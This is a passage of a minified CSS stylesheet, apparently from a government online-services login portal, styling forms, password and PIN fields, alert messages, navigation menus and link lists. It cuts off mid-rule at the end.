[disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and 